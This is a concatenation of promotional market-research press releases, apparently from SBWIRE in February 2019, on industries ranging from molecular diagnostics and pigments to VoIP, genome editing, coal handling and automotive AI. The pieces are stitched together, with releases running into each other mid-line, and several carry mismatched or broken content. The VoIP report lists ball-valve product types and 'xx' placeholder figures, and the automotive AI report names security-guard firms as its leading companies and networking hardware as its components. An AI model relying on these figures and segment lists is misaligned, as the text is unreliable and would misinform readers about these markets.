Stakeholders, marketing executives and business owners planning to refer a market research report can use this study to design their offerings and understand how competitors attract their potential customers and manage their supply and distribution channels. When tracking the trends researchers have made a conscious effort to analyze and interpret the consumer behavior Besides the research helps product owners to understand the changes in culture, target market as well as brands so they can draw the attention of the potential customers more effectively.



Purchase Full report @ https://www.marketexpertz.com/checkout-form/29978



Geographically, this report studies the top producers and consumers in these key regions:

- North America

- Europe

- China

- Japan

- Southeast Asia

- India



We can also provide the customized separate regional or country-level reports, for the following regions:

North America, United States, Canada, Mexico, Asia-Pacific, China, India, Japan, South Korea, Australia, Indonesia, Singapore, Rest of Asia-Pacific, Europe, Germany, France, UK, Italy, Spain, Russia, Rest of Europe, Central & South America, Brazil, Argentina, Rest of South America, Middle East & Africa, Saudi Arabia, Turkey, Rest of Middle East & Africa



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The study objectives of this report are:

1. To analyze and study the global Molecular Diagnostics Equipment capacity, production, value, consumption, status and forecast (2018-2026);

2. Focuses on the key Molecular Diagnostics Equipment manufacturers, to study the capacity, production, value, market share and development plans in future.

3. Focuses on the global key manufacturers, to define, describe and analyze the market competition landscape, analysis.

4. To define, describe and forecast the market by type, application and region.

5. To analyze the global and key regions market potential and advantage, opportunity and challenge, restraints and risks.

6. To identify significant trends and factors driving or inhibiting the market growth.

7. To analyze the opportunities in the market for stakeholders by identifying the high growth segments.

8. To strategically analyze each submarket with respect to individual growth trend and their contribution to the market.

9. To analyze competitive developments such as expansions, agreements, new product launches, and acquisitions in the market.

10. To strategically profile the key players and comprehensively analyze their growth strategies.



Key elements from table of content:

7 Global Molecular Diagnostics Equipment Manufacturers Profiles/Analysis

7.1 Roche

7.1.1 Company Basic Information, Manufacturing Base, Sales Area and Its Competitors

7.1.2 Molecular Diagnostics Equipment Product Category, Application and Specification

7.1.2.1 Product A

7.1.2.2 Product B

7.1.3 Roche Molecular Diagnostics Equipment Capacity, Production, Revenue, Price and Gross Margin (2018-2026)

7.1.4 Main Business/Business Overview

7.2 Abbott

7.2.1 Company Basic Information, Manufacturing Base, Sales Area and Its Competitors

7.2.2 Molecular Diagnostics Equipment Product Category, Application and Specification

Continue.



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News: www.marketexpertz.com/market-newsNew York, NY -- (SBWIRE) -- 02/13/2019 -- A new market assessment report on the Medical Grade Carboxymethyl Cellulose market provides a comprehensive overview of the Medical Grade Carboxymethyl Cellulose industry for the forecast period 2018 - 2026. The analytical study is proposed to provide immense clarity on the market size, share and growth rate across different regions. The profound knowledge and extensive examination of the trends from the yesteryear and future aims at offering the stakeholders, product owners, and marketing personnel a competitive edge over others operating in the Medical Grade Carboxymethyl Cellulose market for the forecast period, 2018 - 2026.



Request for free sample report @ https://www.marketexpertz.com/sample-enquiry-form/30100



The major players covered in this report are

CP Kelco, Ashland, Akzo Nobel, Daicel, Ugur Seluloz Kimya AS, DKS, Dow



Most important types of Medical Grade Carboxymethyl Cellulose products covered in this report are:

- Purity (99.5 %+)

- Purity (90%-99.5%)

- Purity (50%-90%)



On the basis on the end users/applications, this report focuses on the status and outlook for major applications/end users, sales volume, market share and growth rate for each application, including:

- Pharmaceutical

- Cosmetics

- Other



To offer more clarity on the current business environment researchers probe into the import and export status, supply chain management, demand and supply, consumption capability and manufacturing capacity. When assessing the size of the industry special consideration is given to the value and volume of the products and services offered on a year on year basis.



Understanding the market size

The size of the Medical Grade Carboxymethyl Cellulose market is viewed in terms of the Share of Market, Total Available Market as well as Served Available Market. Not only does the study present the combined revenue for a particular market but also the market size for a specific geographic region. Analysis of percentage or the size of the Total Available Market based on the type of product, technology, regional constraints and others form an important part of the Medical Grade Carboxymethyl Cellulose report.



Knowing the trends influencing the industry performance

Stakeholders, marketing executives and business owners planning to refer a market research report can use this study to design their offerings and understand how competitors attract their potential customers and manage their supply and distribution channels. When tracking the trends researchers have made a conscious effort to analyze and interpret the consumer behavior Besides the research helps product owners to understand the changes in culture, target market as well as brands so they can draw the attention of the potential customers more effectively.



Purchase Full report @ https://www.marketexpertz.com/checkout-form/30100



Geographically, this report studies the top producers and consumers in these key regions:

- North America

- Europe

- China

- Japan

- Southeast Asia

- India



We can also provide the customized separate regional or country-level reports, for the following regions:

North America, United States, Canada, Mexico, Asia-Pacific, China, India, Japan, South Korea, Australia, Indonesia, Singapore, Rest of Asia-Pacific, Europe, Germany, France, UK, Italy, Spain, Russia, Rest of Europe, Central & South America, Brazil, Argentina, Rest of South America, Middle East & Africa, Saudi Arabia, Turkey, Rest of Middle East & Africa



Ask for discount on this report for better value @ https://www.marketexpertz.com/discount-enquiry-form/30100



The study objectives of this report are:

1. To analyze and study the global Medical Grade Carboxymethyl Cellulose capacity, production, value, consumption, status and forecast (2018-2026);

2. Focuses on the key Medical Grade Carboxymethyl Cellulose manufacturers, to study the capacity, production, value, market share and development plans in future.

3. Focuses on the global key manufacturers, to define, describe and analyze the market competition landscape, analysis.

4. To define, describe and forecast the market by type, application and region.

5. To analyze the global and key regions market potential and advantage, opportunity and challenge, restraints and risks.

6. To identify significant trends and factors driving or inhibiting the market growth.

7. To analyze the opportunities in the market for stakeholders by identifying the high growth segments.

8. To strategically analyze each submarket with respect to individual growth trend and their contribution to the market.

9. To analyze competitive developments such as expansions, agreements, new product launches, and acquisitions in the market.

10. To strategically profile the key players and comprehensively analyze their growth strategies.



Key elements from table of content:

7 Global Medical Grade Carboxymethyl Cellulose Manufacturers Profiles/Analysis

7.1 CP Kelco

7.1.1 Company Basic Information, Manufacturing Base, Sales Area and Its Competitors

7.1.2 Medical Grade Carboxymethyl Cellulose Product Category, Application and Specification

7.1.2.1 Product A

7.1.2.2 Product B

7.1.3 CP Kelco Medical Grade Carboxymethyl Cellulose Capacity, Production, Revenue, Price and Gross Margin (2018-2026)

7.1.4 Main Business/Business Overview

7.2 Ashland

7.2.1 Company Basic Information, Manufacturing Base, Sales Area and Its Competitors

7.2.2 Medical Grade Carboxymethyl Cellulose Product Category, Application and Specification

Continue.



Browse complete report description @ https://www.marketexpertz.com/industry-overview/medical-grade-carboxymethyl-cellulose-market



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Planning to invest in market intelligence products or offerings on the web? Then marketexpertz has just the thing for you - reports from over 500 prominent publishers and updates on our collection daily to empower companies and individuals catch-up with the vital insights on industries operating across different geography, trends, share, size and growth rate. There's more to what we offer to our customers. With marketexpertz you have the choice to tap into the specialized services without any additional charges.



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News: www.marketexpertz.com/market-newsAlbany, NY -- (SBWIRE) -- 02/12/2019 -- Inorganic pigments are obtained from mixed metal oxides and are produced by a high temperature calcinations process. These pigments are not affected y strong acids, base and oxidizing agents. Also inorganic pigments are non-migratory, do not bleed and are non-warping. Most inorganic pigments can withstand various temperatures and bad climatic conditions; they are heat resistant, have resistance to other chemicals and are easy to disperse. There are a variety of inorganic pigments available and are classified primarily from the source they are derived from. Some of the inorganic pigments include Chrome, which is derived from lead, Cadmiums, which are derived from cadmium compounds, and Irons that are derived from various iron oxides among others. Inorganic pigments are solid materials that obtain their transparency owing to their extremely small size and shape.



Read Report Overview @

https://www.transparencymarketresearch.com/inorganic-color-pigments.html



Inorganic color pigments are used in various industries, which include coil coatings, powder coatings, industrial coatings, architectural coatings among others. They are also used in the coloring of plastics, buildings, constructions etc... It finds its application even in the automotive segments as a colorant for engineering plastics. Owing to the quality of industrial products, which have been improving over the past few years, the demands on their appearance and durability are increasing as well. Due to their fastness properties and their tolerance to adverse conditions, they are the most preferred pigments used in constructions. Inorganic pigments are the most stable class of pigments that have been manufactured as of today.



The key drivers for the inorganic pigment market include rapid growth in urbanization, the paints and the coatings market, the construction agency, the building material and plastic industry. The demand for inorganic pigments is expected to be the highest in developing countries. These inorganic pigments are mainly used in the automotive industry due to its durable properties. The market for automotives in developing countries along with the plastic, paint and coatings industry is growing at a rapid pace especially in emerging economies like India and China and hence the demand for inorganic pigments is anticipated to be high in these countries. The main setbacks of the inorganic pigment industry are coping with continuous globalization, markets that are mature in a few applications and regions and the excess production of commodity pigments.



The adverse environmental effects inorganic pigments cause can be a restrain for its market especially in Europe. However due to the lack of stringent regulations in Asia Pacific countries especially in countries like India and China, inorganic pigments are used produced and used on a large scale.



The key segments for this market include North America, Europe, Asia Pacific and Rest of the world (RoW). The most widely used pigments are manufactured from iron oxide. The largest manufactures of inorganic pigments is China, followed by North America and finally Europe. Demand for inorganic pigments is seen to be declining in western countries while demand in Asian countries is increasing especially in China. The inorganic dye market is mature in Japan and is not likely to increase by a huge margin over the next few years. The consumption of inorganic pigments is expected to grow significantly in India and China in the near future.



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Some of the key companies profiled for Inorganic Color Pigments market include Ferro Corporation GmbH, Shepard Color Company, Bayer AG, Rockwood, Atlanta AG, Apollo Colors, Honeywell International and Todo Kogyo among others.Albany, NY -- (SBWIRE) -- 02/13/2019 -- Hospital Asset Management Market - Snapshot



The global hospital asset management market is projected to surpass the value of US$ 6.0 Bn in 2018 and is likely to expand at a CAGR of more than 12.0% during the forecast period from 2018 to 2026. The global hospital asset management is expanding at a rapid pace in both developed as well as developing geographies, mainly due to rapidly increasing installations of tags across multiple applications with an objective of reducing operational and capital expenditure. There has been a continuous trend of reduction in budget allocation to hospitals from the overall health care spending budget in developed geographies. For example, in 1975, hospitals accounted for more than half of the health care budget spending in Canada. However, this share shrunk down to less than one third in 2012. Despite a decrease in budget allocations, hospitals have been witnessing elevating pressure to provide better services to rapidly increasing number of patients. This is imposing a significant workflow burden on hospital administrations for increasing efficiency through workflow optimization and patient satisfaction. Adoption of advanced technologies in the hospital asset management market is enhancing utilization rates of mobile medical devices such as IV pumps, wheelchairs, etc. and leading to improvements in staff and inventory management efficiency and increase in patient quality of care.



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The global hospital asset management market can be segmented based on product and application. In terms of product, the global hospital asset management market has been classified into real-time location systems (RTLS), radio-frequency identification (RFID), ultrasound, and infrared. The real-time location systems (RTLS) segment is expected to expand at a rapid pace owing to robust product portfolio of Wi-Fi-based RTLS solutions of major market players and ability of information encryption, which favours integration of multiple workflows and reduces staff workload. Increase in launches of cost-effective products by emerging players is likely to further fuel the segment. For instance, in April 2015, Redpoint Positioning Corporation announced the launch of a breakthrough RTLS platform at the RFID Journal LIVE! 2015 held in San Diego, U.S.



In terms of application, the global hospital asset management market has been categorized into patient management, staff management, instrument management, and supply chain management. The instrument management segment is likely to expand at an above average growth rate during the forecast period. This is attributed to rise in adoption of technologically advanced products due to increase in awareness about installation of asset tracking solutions for the purposes of equipment tracking and maintenance and rise in focus of hospital administrations on reducing direct and indirect operational expenditures associated with misplacement or theft of mobile medical devices.



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Based on geography, the global hospital asset management market has been categorized into North America, Europe, Asia Pacific, Latin America, and Middle East & Africa. Developed regions with established healthcare IT infrastructure are dominating the global hospital asset management market in terms of value. Developing countries such as China, India, and GCC countries are witnessing rapid development in the area of digitalization in the health care sector through continuous support from government initiatives and rise in demand for better care from a rapidly urbanizing population. The rapidly increasing number of installations of real-time hospital asset management solutions in these countries and strong market presence of local manufacturers in the RFID product segment, which offer affordable solutions, are some of the major factors driving the expansion of the global hospital asset management market during the forecast period.



Some of the major companies operating in the global hospital asset management market and profiled in the report include Ascom, AWAREPOINT CORPORATION, CenTrak (Halma plc), Ekahau, GE Healthcare (General Electric Company), Honeywell International Inc., Impinj, Inc., Sonitor Technologies, STANLEY Healthcare (Stanley Black & Decker, Inc.), and ZIH Corp. The market is highly fragmented, with several prominent regional market players operating in the global hospital asset management market. Key regional players are Infor, Datalogic S.p.A., Sanitag, ASAP Systems, Real Asset Management Ltd. (MRI Software), Kellton Tech Solutions Ltd., Versus Technology, Inc., IBM, TeleTracking Technologies, Inc., Cerner Corporation, and others. A key technological trend observed among major market players operating in the global hospital asset management market is the introduction of next-generation product solutions that integrate multiple workflows and provide simple user interfaces for improving routine hospital work.



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Website: https://www.transparencymarketresearch.comSarasota, FL -- (SBWIRE) -- 02/12/2019 -- Research has published a new report titled "IoT in Banking & Financial Services Market by Application (Data Management, Cybersecurity, Proactive Services, Product Planning & Marketing, Customer Relationship Management, and Data Analysis) by Component (Hardware, Software, and Service), and by End-User (Banks, Insurance Companies, Mortgage Companies, Brokerage Firms, and Others): Global Industry Perspective, Comprehensive Analysis, and Forecast, 2017  2024". According to the report, the global IoT in banking & financial services market accounted for USD 159 million in 2017 and is expected to reach USD 2,547 million by 2024, at a CAGR of 48.6% between 2018 and 2024.



IoT refers to the network of physical objects that are connected over the internet for transferring information without human intervention. These devices utilize embedded technology for communication. IoT is now being used in for banking and financial services to save time and reduce additional costs in various operations, such as accounts handling, payments, data management and verification, fraud detection, etc.



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Increasing number of smartphone users in the last decade is likely to propel the IoT in banking & financial services market. Various banks and other financial institutes are offering mobile banking and online payments, among other services. In 2016, the number of smartphone users globally was 2.1 billion as compared to 1.86 billion in 2015. Considering this growth, financial institutes are likely to adopt IoT to streamline their services and payment processes. In 2016, Santander announced its plan to offer mortgage schemes to their customers on smartphones along with providing the facility to scan and verify clients required documents on the bank's mobile app.



Growing investments made by insurance firms in IoT are anticipated to fuel the IoT in banking & financial services market during the forecast timeframe. In 2016, insurance companies invested USD 711 million, accounting for 44% of the insurtech investments as compared to 10% in 2015. Furthermore, insurance technology startups have been successful in garnering investments. In 2016, Coya, a European digital insurance provider, raised about USD 10 million.



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The IoT in banking & financial services market is fragmented based on component, application, and end-user. By component, this market includes hardware, software, and service. The software segment is projected to dominate the IoT in banking & financial services market during the forecast timeframe, due to the introduction of various online banking and payment platforms on smartphones. By application, the IoT in banking & financial services market is divided into data management, cybersecurity, proactive services, product planning and marketing, customer relationship management, and data analysis. By end-user, this market is divided into banks, insurance companies, mortgage companies, brokerage firms, and others. Mortgage companies are projected to grow at a noteworthy rate during the estimated time period. IoT helps the mortgage companies to monitor their condition in real-time and conduct remote maintenance of properties.



Europe is likely to witness a considerable growth in the IoT in banking & financial services during the estimated timeframe, due to increasing investments made in banking technology by various European nations. UK, Germany, France, and Russia are projected to contribute significantly toward this market during the forecast time period. The Middle East and Africa are likely to hold a significant market share by 2024, due to the rising adoption of IoT in UAE and Saudi Arabia, among other economically advanced nations in the region.



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Some major players of the global IoT in banking & financial services market are Microsoft Corporation, IBM Corporation, Oracle Corporation, SAP SE, Cisco Systems, Inc., Accenture, Infosys Limited, Vodafone Group Plc, Software AG, and Capgemini SE among, others.



This report segments the global IoT banking & financial services market as follows:



Global IoT in Banking & Financial Services Market: Application Segment Analysis



Data Management

Cyber Security

Proactive Services

Product Planning & Marketing

Customer Relationship Management

Data Analysis



Global IoT in Banking & Financial Services Market: Component Segment Analysis



Hardware

Software

Service



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Global IoT in Banking & Financial Services Market: End-User Segment Analysis



Banks

Insurance Companies

Mortgage Companies

Brokerage Firms

Others



Global IoT in Banking & Financial Services Market: Regional Segment Analysis



North America

The U.S.

Europe

UK

France

Germany

Asia Pacific

China

Japan

India

Latin America

Brazil

The Middle East and AfricaNew York, NY -- (SBWIRE) -- 02/13/2019 -- VoIP functions on broadband networks using packet switched telephone networks (PSTNs), unlike traditional calls on circuit switched networks. PSTNs are more efficient than legacy systems (circuited switched networks), and information can be routed in packets over optimized paths. VoIP allows IP calls over mobile networks (3G/LTE) or fixed networks, such as wireless hotspots, Wi-Fi, and worldwide interoperability for microwave access (WiMAX) networks. VoIP bypasses the originating mobile carrier's telephony network and allows inexpensive calls on mobiles through the ISP networks. It also offers low-cost international calls, and roaming calls, without the need for extensive infrastructures such as PCs and DSL modems.



A large number of consumers are still apprehensive about the use of voice communication over internet bandwidth on account of data privacy and security concerns. This is anticipated to restrict the adoption of VoIP services. In addition to this senior citizens are not used to voice communication over the internet and find it more comfortable to make use of analog telephone lines for voice communication. This is expected to limit the growth of the VIP Services Market. In addition to this, senior citizens are also apprehensive about the quality of communication over internet bandwidth and refrain from upgrading themselves to the latest technology and continue to make use of and love telephone lines for voice communication.



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In 2018, the global Business VoIP Services market size was xx million US$ and it is expected to reach xx million US$ by the end of 2025, with a CAGR of xx% during 2019-2025.



This report focuses on the global Business VoIP Services status, future forecast, growth opportunity, key market and key players. The study objectives are to present the Business VoIP Services development in United States, Europe and China.



The key players covered in this study

AT&T

RingCentral

8x8

Vonage Business

Intermedia

Mitel

Fonality

Citrix

Dialpad

ShoreTel

Microsoft Skype

Nextiva



View Full Report TOC : https://www.qyresearchreports.com/report/global-business-voip-services-market-size-status-and-forecast-2019-2025.htm/toc



Market segment by Type, the product can be split into

One-Piece-Ball

Two-Piece-Ball

Three-Piece-Ball

Others



Market segment by Application, split into

Commercial

Personal



Market segment by Regions/Countries, this report covers

United States

Europe

China

Japan

Southeast Asia

India

Central & South America



The study objectives of this report are:

To analyze global Business VoIP Services status, future forecast, growth opportunity, key market and key players.

To present the Business VoIP Services development in United States, Europe and China.

To strategically profile the key players and comprehensively analyze their development plan and strategies.

To define, describe and forecast the market by product type, market and key regions.



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In this study, the years considered to estimate the market size of Business VoIP Services are as follows:

History Year: 2014-2018

Base Year: 2018

Estimated Year: 2019

Forecast Year 2019 to 2025

For the data information by region, company, type and application, 2018 is considered as the base year. Whenever data information was unavailable for the base year, the prior year has been considered.



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Email: sales@qyresearchreports.comRockville, MD -- (SBWIRE) -- 02/13/2019 -- Nowadays, people are resorting to using airlines to reduce their travel time and increase comfortability. Air traffic is increasing year by year due to the existence of multiple airline companies around the world. Air traffic smart tower solutions are used for voice transmission and reception between two or more aircraft, or between aircraft and traffic management towers. The shift of air traffic smart tower solutions from ground-based navigation surveillance to satellite-based navigation surveillance has created a positive impact on the growth of the Air Traffic Smart Tower Solutions Market. Most vendors in the air traffic smart tower solutions market are adopting several enhanced technologies like VHF radio systems, air traffic management through 4D trajectory, and wireless communication technologies.



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Air traffic smart tower solutions are being adopted on a large scale, with large- to medium-sized enterprises operating in the field. These established companies of air traffic smart tower solutions invest significant amounts in their research and development wings in order to develop and manufacture technologically advanced air traffic smart tower solutions for smart airports.



An air traffic smart tower solution provides interaction opportunity to the pilot and the ground station controller, and also between two different pilots. Modernization in air traffic smart tower solutions is also adopted by many organizations.



Air Traffic Smart Tower Solutions Market: Drivers and Challenges



Drivers



As technology is transforming in smarter ways, connected devices in the air traffic smart tower solutions market are playing an important role by providing centralized access to multiple electronic devices. The primary factor which is driving the air traffic smart tower solutions market is the growing demand for efficient logistics and travelling throughout the world. The growth of the air traffic smart tower solutions market is being boosted due to the rise in the number of travellers through airlines, and also due to the acceptance of smart city projects.



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Defence organisations in different nations are also using air traffic smart tower solutions for advanced security and other purposes. These are the primary factors which are increasing the growth of the air traffic smart tower solutions market throughout the world.



Challenges



Air traffic smart tower solutions are adopted by many organizations to keep track of any aircraft. But there are some challenges which are being faced by these users. High initial investment and elongated approval periods are the major challenges faced by most of the vendors in the aircraft communication systems space. These are the primary factors which are hindering the growth of the air traffic smart tower solutions market.



Air Traffic Smart Tower Solutions Market: Competition Landscape



The names of the companies covered in the air traffic smart tower solutions market are FREQUENTIS AG, Thales Group, Indra Sistemas, Lockheed Martin, Harris Corporation, Presagis, M3 Systems, Saab, Croatia Control, Avitech Gmbh, and others.



Air Traffic Smart Tower Solutions Market: Regional Overview



On the basis of geography, the North American air traffic smart tower solutions market is expected to capture the largest market share, owing to well-developed air traffic smart tower solution developing companies, and due to the presence of various innovative technologies in the region. The European and MEA air traffic smart tower solutions markets are also expected to gain substantial market share due to the introduction of new technologies and applications. APAC is expected to be the fastest growing air traffic smart tower solutions market, owing to the government initiatives being taken towards the improvement of technologies by emerging economies such as India and China, and the increase in the number of travellers and threats from terrorist organisations.



The air traffic smart tower solutions markets in Latin America and Japan are also expected to witness high growth rates in the coming period, due to an increase in the demand for new technologies in the transportation industry.



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Read Industry News at - http://westminsternewsonline.comNY Times, NY -- (SBWIRE) -- 02/11/2019 -- Some of the prominent players operating in this vertical include Caribou Biosciences, Inc., Editas Medicine, Sangamo, Recombinetics, Inc, CRISPR THERAPEUTICS, Thermo Fisher Scientific, Inc., Intellia Therapeutics, Inc., and The Sigma Aldrich Corporation, Thermo Fisher Scientific (US), Lonza Group (Switzerland), Merck (Germany), Horizon Discovery Group (UK), Integrated DNA Technologies (US), New England Biolabs (US), GenScript (US), Sangamo BioSciences (US), OriGene Technologies (US), Transposagen Biopharmaceuticals (US), Editas Medicine (US), and CRISPR Therapeutics (Switzerland)., among others.



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Market Industry Reports (MIR) has published a new report titled "Genome Editing/Genome Engeineering Market - Global Industry Analysis, Size, Share, Growth, Trends, and Forecast, 20192030." According to the report the global genome editing market was valued at over US$ 3.0 Bn. in 2017 and is expected to grow at a double digit CAGR during the forecasted period.



Strong product pipeline to boost the market



Strong product pipeline are anticipated to impact the industrial growth over the forecast period of 20192030. The novel products are designed to help in development of DNA targeting, with improved flexibility, specificity of nuclease, and the ease of Adeno-Associate Virus (AAV) packaging for delivery. Moreover, utilization of the technique through a number of methods such as disruption of viral DNA, correction in the toxic mutations, or the addition of therapeutic transgenes is projected to boost the adoption.



Browse key industry insights spread across 150 pages with market data tables & figures & charts from the report, Genome Editing/Genome Engineering Market by Technology (CRISPR, TALEN, ZFN), Application (Cell Line Engineering & Genetic Engineering), End User (Research Centers, Pharmaceutical & Biotechnology Companies, CROs) - Global Analysis & Forecast 2019-2030 in detail along with the table of contents: https://www.marketindustryreports.com/press-release/10/crispr-technology-market



Increasing application of the technology to propel the market growth



Application of the technology for cell line genetic editing or engineering in the form of gene therapy and stem cell therapy accounted for the considerable share and is estimated to register lucrative growth. Furthermore, use of the genome editing technology for the development of novel molecules which can be targeted for treating various diseases such as infectious diseases and hematological malignancies is likely to drive the adoption of the technology in the coming years.



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Region wise performance of the Genome Editing/Genome Engineering industry

This report studies the global Genome Editing/Genome Engineering market status and forecast, categorizes the global Genome Editing/Genome Engineering market size (value & volume) by key players, type, application, and region. This report focuses on the top players in North America, Europe, China, Japan, Southeast Asia India and Other regions (Middle East & Africa, Central & South America).



Report holds answers to important questions:

- What will be the estimated market size and the growth rate of the Genome Editing/Genome Engineering for the forecast period, 2019 - 2030?

- What are the major driving forces shaping the progress of the Genome Editing/Genome Engineering market worldwide?

- Who are the key industry players dominating the Genome Editing/Genome Engineering industry and what has been their performance status so far?

- What are the major trends and challenges that have influenced the growth of the Genome Editing/Genome Engineering market across different regions?

- What type of opportunities can the major market players bank on for the forecast period, 2019 - 2030?



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+ 91 8956 767 535Rockville, MD -- (SBWIRE) -- 02/13/2019 -- In order to study the many forthcoming movements and patterns prevailing in the global market, FactMR has included the latest Forecast report on Coal Handling System Market to its vast database. The delivered study offers significant figures about the leading regions and applications which are functioning in the coal handling system market forthcoming trends by 2028, along with their market production, consumption, revenue, upcoming industry trends and forecasted market share details. Further, the accomplished market research report also anticipates that the concerned market would grow at a constructive CAGR until 2028.



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The coal handling system market is a fragmented landscape with presence of major and small scale players across the globe. The top six companies, including ThyssenKrupp AG, FLSmidth & Co. A/S, Metso Corporation, Kawasaki Heavy Industries, Ltd., FAM Forderanlagen Magdeburg and IHI Transport Machinery Co. Ltd., collectively account for over 35% share in coal handling system market. Presence of leading market players is majorly concentrated in the European countries. These major players in the coal handling system market are focusing on tapping Asia Pacific region owing to its high potential in the thermal power space. The main strategy of these key players includes sales of coal handling system through contracts and agreements, and strategic partnerships with local players. For instance, in 2016 Metso Corporation extended its agreement with Sever Minerals in a bid to strengthen its presence in Russia.



Coal Consumption continues to remain robust in power generation, characterized by their low price/calorific value, thereby sustaining sales of coal handling systems worldwide. Imperativeness of coal handling system in effective management of operations in power generation plants has spurred the emphasis of relevant industrialists on efficiency and emission control apropos of coal-based power.



HELE (High Efficiency Low Emission) technology has witnessed an increased adoption in the recent past, as the technology has been deemed to enhance capacity of the plant, while keeping the carbon dioxide emissions in check. Relatively lower consumption of coal per unit of electricity produced, reduced environment footprint, and favorable results apropos of coal-fired power generation's efficiency, are key attributes of HELE plants which are likely to foster their future penetration into the industry.



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Coal handling system being a central aspect in material flow in plants, attention toward optimization of coal handling system has been witnessed recently. Companies are now involved in enhancing the overall coal supply chain by adopting new technologies in a bid to provide efficient coal handling system that feature low power consumption. Coal handling system advancements include pile visualization, monitoring, material tracking and automated stockyard management, to name a few. Automated stockyard management can offer a real-time information on quality of coal stacked on conveyor belts and other coal handling system that can result in safe and efficient supply of coal to coal-fired power plants.



The demand for coal handling system in the Asia Pacific region, particularly in the emerging economies such as China and India, is expected to be on an upswing on the back of growing port capacity expansions. For instance, existing coal handling operations at Mormugao Port are being pushed further enhancing the coal handling capacity of the port. Likewise, the expansion of Matarbari port is the offing. The coal terminal in Matarbari port would handle huge amounts of coal owing to growing coal-powered plants in Bangladesh. This factor continues to remain instrumental in driving the demand of coal handling system, enhancing the lucrativeness of the Asia Pacific region.



In addition, sale of coal handling system in Asia Pacific is also influenced by rising coal production in South East Asian countries that are home to huge coal reserves. Majority of coal reserves are located in Vietnam, India and Indonesia. Against this backdrop, development of new power plants are being commissioned in the region. For instance, India has commissioned 13 GW thermal plants since January 2017 till august 2018 regardless of pollution concerns. In light of these events, coal handling system manufacturers can grasp potential growth opportunities in Asia Pacific in the forthcoming years.



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Blog: https://factmrblog.com/Sellbyville, DE -- (SBWIRE) -- 02/13/2019 -- North America body worn insect repellent market generated a market revenue over USD 210 million in 2017. Increasing occurrences of vector-borne diseases, including Chikungunya, West Nile, Malaria, and Dengue along with adventure tourism penetration will drive product demand.



Body worn insect repellent industry from Asia Pacific dominates the overall demand and is expected to witness more than 7.5% CAGR up to 2024. Latin America industry growth is mainly contributed by Mexico, Brazil, and Argentina. Over 2.3 million Latin Americans are affected by mosquito born illness. Yellow fever, Chikungunya, west Nile virus, dengue, malaria and Zika fever cases are mostly seen in Latin American countries.



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Regional government has a big role to play in proliferating the industry trends. The U.S. Environmental Protection Agency, for instance, has taken significant initiatives to promote DEET utilization in manufacturing of bug repellent products, especially for those that are sold locally. This in consequence, has created an increased awareness among the Americans regarding insect borne diseases and also about the specific preventive measures that need to be taken to combat the issue. Considering these aforementioned aspects, it would not be incorrect to state that U.S. would continue its dominance in North America body worn insect repellent industry, given that the country boasts of an extensive product array as of now due to the presence of large distribution channel.



Increasing arthropod borne disease occurrences along with rising outdoor recreational activities will drive the body worn insect repellent market growth. Proliferating number of health awareness programs and development of innovative products will further escalate the demand. Numerous advantages including protecting people from bugs while working in forest and agricultural field will drive penetration. Relief from itching, discomfort and irritation caused by bug bites will remain key factors strengthening product demand.



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In 2017, oils and creams products generated more than USD 215 million. Rising health awareness along with the easy product usage will enhance the demand. Oil and creams are further classified into synthetic based and plant based on ingredient content. Synthetic oil and creams products dominates the market share and has witnessed the revenue share of over 60% in 2017. The demand for synthetic based products is expected to decrease in the future, as there is a shifting preference towards plant-based products due to the increasing consumer awareness of natural products and its minimal side-effects.



The growing number of distribution channel platforms is a major driving factor for the industry demand. Selling bug repellent products through online platform will witness the fastest growth during the forecast period. The online distribution channel of insect repellent oil and creams market generated over USD 24 million revenue in 2017. Easy product availability through various websites along with freedom to compare product will enhance the product penetration.



Stringent government regulations concerning consumer?s safety for the use of specific ingredients may act as a challenge for the industry participants. Also, the availability of traditional natural substitutes such as neem oil, lemongrass extract or eucalyptus oil is expected to hamper the market growth. The fluctuating raw material cost will have a direct impact on the body worn insect repellent market price trend.



Avon Products, The 3M Company, Sawyer Products, S. C. Johnson, and Reckitt Benckiser Group are among the major players in body worn insect repellent market. BASF, Omega Pharma, E.I. du Pont de Nemours and Company, Spectrum Brands and ExOfficio LLC are among other notable players. Acquisitions and product innovation are among the key strategies adopted by the companies. For instance, in July 2016, Exofficio expanded its insect repellent travel clothing category to enhance its market share in apparel insect repellent category.



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Blog: http://headlinenewsnation.comHarrisburg, NC -- (SBWIRE) -- 02/13/2019 -- Global Automotive Artificial Intelligence Market



Artificial intelligence (AI) is one of the most progressive technologies in computer science. It is associated with human intelligence through similar characteristics such as language understanding, reasoning, learning, problem solving, and others. Manufacturers in the market witness enormous underlying intellectual challenges in the development and revision of the technology. In addition, the growth in automotive industry is expected to drive the automotive artificial intelligence market. Automotive industry has experienced the promise of artificial intelligence and is among the major industries using AI to augment and mimic the action of humans. Furthermore, emergence of standards such as advanced driver assistance system (ADAS), adaptive cruise control (ACC), blind spot alert, and growth in demand for convenience features attract automotive vendors towards AI.



The Global Automotive Artificial Intelligence market was valued at USD 572.54 million in 2016 and is projected to reach USD 10,862.51 million by 2025, growing at a CAGR of 38.68% from 2017 to 2025.



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Top Leading Companies are: Pinkerton,Blackwater Protectio,Allied Universal,Hook Private Security,International Protective Service, In,Paradigm Security,US Security Associates,SIS,Beijing Baoan,Shandong Huawei Security Group Co., Ltd,Transguard,Prosegur,Secom,China Security & Protection Group,Andrews International



The automotive AI market, on the basis of process, is segmented into signal recognition, image recognition, and data mining. Data is collected from different sensors used in a semi-autonomous or autonomous vehicle, which can be used to train the vehicle to detect or recognize images, obstacles, and various scenarios one might encounter behind the wheel. Due to the huge volumes of data generated and processed in a vehicle, data mining is expected to be the fastest-growing process in the automotive AI market.



Contents of the 15 Chapters for This Automotive Artificial Intelligence Market Study:-



Chapter 1, to describe Automotive Artificial Intelligence Introduction, product scope, market overview, market opportunities, market risk, market driving force;



Chapter 2, to analyze the top manufacturers of Automotive Artificial Intelligence , with sales, revenue, and price of Automotive Artificial Intelligence , in 2017 and 2019;



Chapter 3, to display the competitive situation among the top manufacturers, with sales, revenue and market share in 2017 and 2019;



Chapter 4, to show the global market by regions, with sales, revenue and market share of Automotive Artificial Intelligence, for each region, from 2013 to 2019;



Chapter 5, 6, 7, 8 and 9, to analyze the key regions, with sales, revenue and market share by key countries in these regions;



Chapter 10 and 11, to show the market by type and application, with sales market share and growth rate by type, application, from 2013 to 2019;



Chapter 12, Automotive Artificial Intelligence market forecast, by regions, type and application, with sales and revenue, from 2019 to 2025;



Chapter 13, 14 and 15, to describe Automotive Artificial Intelligence sales channel, distributors, traders, dealers, Research Findings and Conclusion, appendix and data source.



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Automotive Artificial Intelligence Market, by Component:



Power supply device

Memory

Switches

Hubs, routers, and gateways

solators and convertors

Connectors

